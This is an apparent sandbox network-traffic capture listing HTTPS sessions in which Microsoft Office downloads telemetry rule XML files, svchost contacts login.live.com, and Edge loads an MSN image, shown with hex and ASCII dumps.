2024-11-11 20:59:29 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: c056ec92-701e-001e-03d5-33f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205929Z-174f7845968j9dchhC1EWRfe74000000058000000000kcpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	58849	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:29 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:29 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 78b03aef-101e-000b-52d5-335e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205929Z-174f7845968qj8jrhC1EWRh41s00000005ag00000000pd45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:29 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	58851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:29 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:29 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:29 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 27f4d8c4-701e-0032-2dd5-33a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205929Z-174f7845968l4kp6hC1EWRe88400000005tg000000003szb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:29 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	58852	40.126.32.138	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:29 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-11 20:59:29 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-11 20:59:30 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 11 Nov 2024 20:58:29 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C515_SN1 x-ms-request-id: 9d813911-ba46-470e-ae8a-64129215b468 PPServer: PPV: 30 H: SN1PEPF0002F93F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 11 Nov 2024 20:59:29 GMT Connection: close Content-Length: 11391
2024-11-11 20:59:30 UTC	11391	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	58853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:30 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:30 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 1c99ed40-601e-0097-39d5-33f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205930Z-174f7845968swgbqhC1EWRmnb400000005fg00000000u1sq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:30 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	58854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:30 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:30 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 7f4584eb-c01e-008e-75d5-337381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205930Z-174f7845968v79b7hC1EWRu01s000000051000000000kmnp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:30 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	58857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:30 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:30 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 5f7107d8-901e-0048-05d5-33b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205930Z-174f7845968vwdr7hC1EWRsh3w00000005eg000000007sd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:30 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	58855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:30 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:30 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: c08ebcb6-401e-0064-7bd5-3354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205930Z-174f7845968qj8jrhC1EWRh41s00000005bg00000000gsq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:30 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	58856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:30 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:30 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 99a87d01-601e-005c-42d5-33f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205930Z-174f7845968t42glhC1EWRa36w000000055g00000000f4nm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:30 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	58858	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:30 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:30 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:43:48 GMT X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=326679 Expires: Fri, 15 Nov 2024 15:44:09 GMT Date: Mon, 11 Nov 2024 20:59:30 GMT Connection: close
2024-11-11 20:59:30 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	58860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:30 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 20:59:30 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:30 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 9a2be917-a01e-0053-13d5-338603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T205930Z-174f7845968xlwnmhC1EWR0sv800000005ag00000000a2zz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 20:59:30 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	58859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:30 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
